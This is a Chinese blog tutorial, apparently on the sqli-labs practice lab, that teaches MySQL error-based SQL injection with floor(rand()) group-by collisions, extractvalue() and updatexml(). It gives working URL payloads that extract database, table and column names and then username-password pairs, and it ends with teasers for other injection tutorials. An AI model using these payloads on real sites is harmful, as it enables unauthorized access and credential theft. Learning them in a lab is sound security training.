代码编织梦想

报错注入

在注入点的判断过程中,发现数据库中SQL语句的报错信息,会显示在页面中,因此可以进行报错注入

报错注入的原理:就是在错误信息中执行SQL语句。触发报错的方式很多,具体细节也不尽相同。报错注入有可能成功,也有可能不成功!可以多刷新几次

  • 我们可以利用报错信息,获取数据库中的信息

[select concat(left(rand(),3),'^',(select version()),'^') as x,count(*) from information_schema.tables group by x;]
8d9f55cbf1498ef960fd0b78651b1f21.png
  • 语句中的as是给concat(left(rand(),3,'^',(select version()),'^')起一个别名x 方便后面的聚合操作。此处as可以省略,直接写x即可。

[select concat(left(rand(),3),'^',(select version()),'^')x,count(*) from information_schema.tables group by x;]
475fe8270b72b10cfd2ce7ee0f8a0872.png
  • 如果关键的表被禁用了,可以采用如下语句

[select concat('^',version(),'^',floor(rand()*2))x,count(*) from (select 1 union select null union select !1)a group by x;]
9afe65ff3945e09454c2a0e52347c5bb.png
  • 如果rand()|count()被禁用了,可采用如下方式

[select min(@a:=1) from information_schema.tables group by concat('^',@@version,'^',@a:=(@a+1)%2);]
5849004b1340966405ea9bcb20ff9643.png
  • 不依赖额外的函数和具体的表

[ select min(@a:=1) from (select 1 union select null union select !1)a group by concat('^', @@version, '^', @a:=(@a+1)%2);]
f2acb9da1c9a0d2109465e71b57d23c3.png

group by 重复键冲突(count()+floor()+rand()+group by组合)

and (select 1 from (select count(*),concat((select 查询的内容 from information_schema.tables limit 0,1),floor(rand()*2))x from information_schema.tables group by x)a) --+
  • 获取数据库名字

?id=1' and (select 1 from (select count(*),concat((select database() from information_schema.tables limit 0,1),floor(rand()*2))x from information_schema.tables group by x)a) --+
37baaf86799534f056c477799d1a7efb.png

group by报错注入详细解析

  • bug

关于group 不用聚合函数的报错,是mysql的bug编号为#8652.当使用rand()函数进行分组聚合时,会产生重复键的错误。

729d09a1096ddbf0839c29cd7c121830.png

bug测试

@ 测试环境

c789a7f845baf5e0ac4545864c2409ae.png
  1. 登录mysql数据库

e3298104c24584292a9dbdd4653758bc.png
  1. 创建数据库,并写入数据

384af237ed5356b26785c13420748c58.png
create database groupbyTest;
use groupbyTest;
create table rl (a int);
insert into rl values (1),(2),(1),(2),(1),(2),(1),(2),(1),(2),(1),(2),(1),(2);

3.简单的查询

[select * from rl;]
dd4d0be62c0f887897481d5297f0c935.png
[select left (rand(),3),a from rl group by 1]

由于rand()函数的存在,每次执行结果都是不同的。

d3eb6596afdca5b4f0da74725c915f35.png
[select left (rand(),3),a,count(*) from rl group by 1]

此处引入rand()函数,产生group by产生重复键冲突报错

bf7e4f1826159b36173032c4f1995c69.png

注意:必须使用如下所示列的顺序

@ 其他语句

select round (rand(),1),a,count(*) from rl group by 1;
54f6f95c2da435b20b6e7d6477d6fd87.png
select a,count(*) from rl group by round(rand(),1);
7ffa436fe4320a17c58549712449f976.png
select floor(rand()*2),a,count(*) from rl group by 1
3d01e126571a3b8688369afb75454919.png

SQL语句解析过程

#FROM

from 后面的表标识了这条语句要查询的数据源。

from 过程之后会形成一个虚拟的表VT1 。

#WHERE

WHERE对VT1过程中生成的临时表进行过滤,满足where子句的列被插入到VT2 。

#GROUP BY

GROUP BY会把VT2生成的表按照GROUP BY中的列进行分组,生成VT3 。

#HAVING

HAVING这个子句对VT3表中的不同分组进行过滤,满足HAVING条件的子句被加入到VT4表中。

#SELECT

SELECT这个子句对SELECT子句中的元素进行处理,生成VT5表。

  • 计算表达式,计算SELECT子句的表达式,生成VT5-1

  • DISTINCT寻找VT5-1表中重复的列,并删掉,生成VT5-2

  • TOP从ORDER BY 子句定义的结果中,筛选出符合条件的列。生成VT5-3

extractvalue() 函数

?id=1' and extractvalue(1,concat('^',(select database()),'^')) --+
180ba568024a6a855ee46f8dae6334dd.png

获取数据库名字为security,并且被'^^'包裹

updatexml() 函数

and updatexml(1,concat('^',(需要查询的内容),'^'),1)
    • 获取数据库名字
and updatexml(1,concat('^',(database()),'^'),1)
3327155eeb1a8a797539b7b80868c1f0.png
    • 获取数据库表的名字
?id=1' and updatexml(1,concat('^',(select table_name from information_schema.tables where table_schema='security' ),'^'),1) --+
759ecf43690e880bea84e9abe9667bf1.png

页面显示的内容多于一行,所有需要在table_schema='security'后面加上limit 0,1显示第一行(显示第0行往下的一行,不包括第0行)

?id=1' and updatexml(1,concat('^',(select table_name from information_schema.tables where table_schema='security'%20 limit 0,1),'^'),1) --+
fae4420c0543d07bc37f959777f442af.png
limit 0,1 看第一行
select host,id,name from mysql.user limit 1; 看第一行
select host,id,name from mysql.user limit 2: 看前二行
select host,id,name from mysql.user limit 2,3; 第二行(不包括)往下三行
    • 获取表中的字段
?id=1' and updatexml(1,concat('^',(select column_name from information_schema.columns where table_name='users' and table_schema='security' limit 0,1 ),'^'),1) -
9674d6ca45f9e5debc84c65e5c276547.png
88b3de87466ccd1852501ed90cf8b186.png
9ca067064b3e6260e7918d000086e5c1.png

获取users表中的字段为id,username,password

    • 获取字段中的内容
?id=1' and updatexml(1,concat('^',(select group_concat(username,"--",password) from users limit 0,1 ),'^'),1) --+
32a25fe8683282b4057165afbd6c420a.png

获得两组账号和密码。

总结:

sql注入的简单口诀:

是否有回显 union联合查询注入

是否有报错 报错注入

是否有布尔类型状态 布尔盲注

绝招(没招的招) 延时注入

版权声明:本文为博主原创文章,遵循 CC 4.0 BY-SA 版权协议,转载请附上原文出处链接和本声明。
本文链接:https://blog.csdn.net/2301_76334474/article/details/128858819

mysql注入过滤逗号_SQL注入--显注和盲注中过滤逗号绕过-爱代码爱编程

SQL注入逗号绕过 1.联合查询显注绕过逗号 在联合查询时使用 UNION SELECT 1,2,3,4,5,6,7..n 这样的格式爆显示位,语句中包含了多个逗号,如果有WAF拦截了逗号时,我们的联合查询不能用了。 绕过 在显示位上替换为常见的注入变量或其它语句 union select 1,2,3; union select * fro

mysql sql注入漏洞修复_SQL注入漏洞解析与靶场复现-爱代码爱编程

1. 概述 SQL注入(SQL Injectioin)漏洞是注入漏洞中危害性最高的漏洞之一。形成的原因主要是在数据交互过程中,前端的数据传入后端时,没有作严格的验证过滤导致传入的“数据”拼接到了SQL语句中。被数据库当作SQL语句的一部分执行,从而使得数据面临被脱库、恶意破坏篡改甚至造成整个系统权限沦陷等一系列危害。 注入攻击的本质是把用户输入的数

SQL注入汇总-小白篇-爱代码爱编程

文章目录 前言一、什么是SQL注入二、实战—封神榜Pass-01Pass-02总结 前言 首先我们要先阐明一点就是,SQL注入是基于动态网页的,动态网页就是数据是由客户在浏览器提交申请之后,由浏览器进行数据提交,服务器端的搜索引擎会进行数据提取,将网页提交表单里的数据整合成SQL语句,提交给DBMS(数据库管理系统)进行查询,所以只要我们能够

[Pikachu靶场实战系列] SQL注入-爱代码爱编程

目录 SQL注入概述数字型注入(post)字符型注入(get)搜索型注入xx型注入 SQL注入概述 数字型注入(post) 随便选择一个进行抓包 可以看出,传入的值赋值给了参数id. 因为是数字型注入,我们在1后面加上一个单引号看是否报错 报错了,确定漏洞存在 id=1 or 1 # 可以把所有列表爆出来,因为1为真,符

万字sql注入学习过程--------从一个查询语句到SQL注入原理——包含各种注入姿势及相关CTF,靶场,漏洞实战 随时补充内容-爱代码爱编程

最近一次更新:2022/2/3 更新内容:DNSLOG注入,SOAP注入,及相关实战               从第一次接触到SQL注入到现在已经有小半年了,简单打了个DVWA靶场之后便没怎么用手工注入,非常依赖工具,最近遇到几道需要手动注入的CTF题目,发现自己对sql注入的原理只是停留在一个基础的理论之上,所以就写这一篇文章对自己的sql注入进行新

Sqli-lab注入靶场 11-20笔记-爱代码爱编程

目录 Less-11 POST - Error Based - Single quotes- String (基于错误的POST型单引号字符型注入) Less-12 基于错误POST请求双引号字符型注入 Less-13 基于POST请求单引号字符型双注入 Less-14 基于POST请求单引号字符型双注入 Less-15 基于POST请求单引号的

sql注入看这一篇可能还不够——sql注入各类型总结+靶场实战_云舒_yunshu的博客-爱代码爱编程

SQL注入简介 SQL注入原理 SQL注入是通过将恶意的sql语句插入到应用代码中,由于过滤不严导致的在后台执行恶意sql语句而产生的漏洞。 SQL注入类型 注入参数:数字型注入、字符型注入、搜索型注入注入方法:基于报错、基于布尔盲注、基于时间盲注、联合查询、堆叠注入、内联查询注入、宽字节注入提交方式:GET注入、POST注入、COOKIE注入、H

sql注入之靶场实操_weixin_45711977的博客-爱代码爱编程

Sql注入之靶场实操 1.首先用小皮打开靶场,演示操作用的是文章管理系统cms的源码 2.可以用御剑扫描以下后台,但是因为我这边特殊原因,就假装我已经扫描了吧,得到了该网站的后台管理页面 3.因为我们是sql注入,通过注入的方式来获得他的账密,所以不去爆破他的弱口令。 4.我们随便点击两条新闻进行对比发现,他们除了url中【?id=33

渗透测试靶机实战-sql注入getshell_yummy11111的博客-爱代码爱编程

SQL注入getshell 主机发现(查看同网段中有多少的存活地址)(使用kali中的工具zenmap) 可以看到扫描出来的主机一共有四个,其中16是物理机的IP,39是kali的ip,18是不知道的主机,看到192.168.197.138是一台虚拟机主机,针对138进行端口探测对192.168.197.138进行快速端口扫描 可以看到开放的端口有ssh

sql漏洞手工注入(靶场:sqli-labs-master)_聻775的博客-爱代码爱编程

文章内容:         1.注入流程         2.注入语句         3.靶场分享 一.注入流程         1.判断是否存在sql注入         2.猜解列名数量         3.判断回显位         4.利用sql语句查询数据库内信息         注:未经授权请勿擅自注入他人数

渗透测试——sql注入(五)_黄帽子chen_d的博客-爱代码爱编程

刚刚写了cisp安全工程与运营,写的我头昏脑胀,迷迷糊糊,接下来开始sql注入第五章节,也是最后一种注入类型“基于报错的盲注”与sqlmap,下一章就开始刷题,争取今天把sql注入完结了,明天开始文件上传漏洞啦 一、user-agent(反扒手段) user-agent注入的情况其实非常少 浏览器识别user-agent,像前几章写的脚本,如果在存在

【sql注入漏洞-05】延时注入靶场实战-爱代码爱编程

延时注入 当我们改变前端页面传输给后台sql参数时,页面没有显示相应内容也没有显示报错信息时,不能使用联合查询注入和报错注入,同时也没有出现布尔类型状态时,我们可以考虑用基于时间的盲注。 原理: 延时注入就是利用sleep()语句的延时性,以页面的时间线作为判断依据,一点一点注入出数据库的信息(时间是衡量一切的标准) 这种注入方式在传给后台的参

【sql注入漏洞-09】宽字节注入靶场实战-爱代码爱编程

宽字节注入 原理: 宽字节注入准确来说不是注入手法,而是另外一种比较特殊的情况,产生宽字节注入的原因是由于转换编码格式。宽字节注入主要是源于程序员设置数据库编码与PHP编码为不同的两个编码格式从而导致产生宽字节注入。 宽字节是指多个字节宽度的编码,GB2312、GBK、GB18030、BIG5、Shift_JIS等这些都是常说的宽字节,实际上只有

【sql注入漏洞-04】布尔盲注靶场实战-爱代码爱编程

布尔盲注 当我们改变前端页面传输给后台sql参数时,页面没有显示相应内容也没有显示报错信息时,不能使用联合查询注入和报错注入,这时我们可以考虑是否为基于布尔的盲注。 布尔盲注原理: 利用页面返回的布尔类型状态,正常或者不正常; 我们输入的语句让页面呈现出两种状态,相当于true和false,根据这两种状态可以判断我们输入的语句是否查询成功。布尔

【sql注入漏洞-06】http头部注入靶场实战-爱代码爱编程

HTTP头部注入 常见的sql注入一般是通过请求参数或者表单进行注入,HTTP头部注入是通过HTTP协议头部字段值进行注入。 HTTP头部注入常存在于这些地方: 产生HTTP头部注入的条件: 能够对请求头消息进行修改 修改的请求头信息能够带入数据库进行查询 数据库没有对输入的请求信息做过滤

【sql注入漏洞-07】堆叠查询靶场实战-爱代码爱编程

堆叠查询 堆叠查询,也叫堆叠注入( stacked injection),在SQL中,分号(;)是用来表示一条sql语句的结束。堆叠注入就是一次性注入并执行多条语句(多语句之间以分号隔开)的注入方式。 靶场环境: sqli-labs-38 页面显示“请输入id作为带数值的参数 判断注入点及注入类型

【sql注入漏洞-10】sql注入-getshell靶场实战-爱代码爱编程

getshell 在我们学习getshell之前,我们先来了解一下什么是shell?什么是webshell? shell shell是一个程序,提供用户与操作系统内核连接的环境。它类似于DOS下的cmd.exe。shell也叫命令解析器,能够接收用户命令,然后调用相应的应用程序。 webshell webshell又称脚本木马,一般分为大马和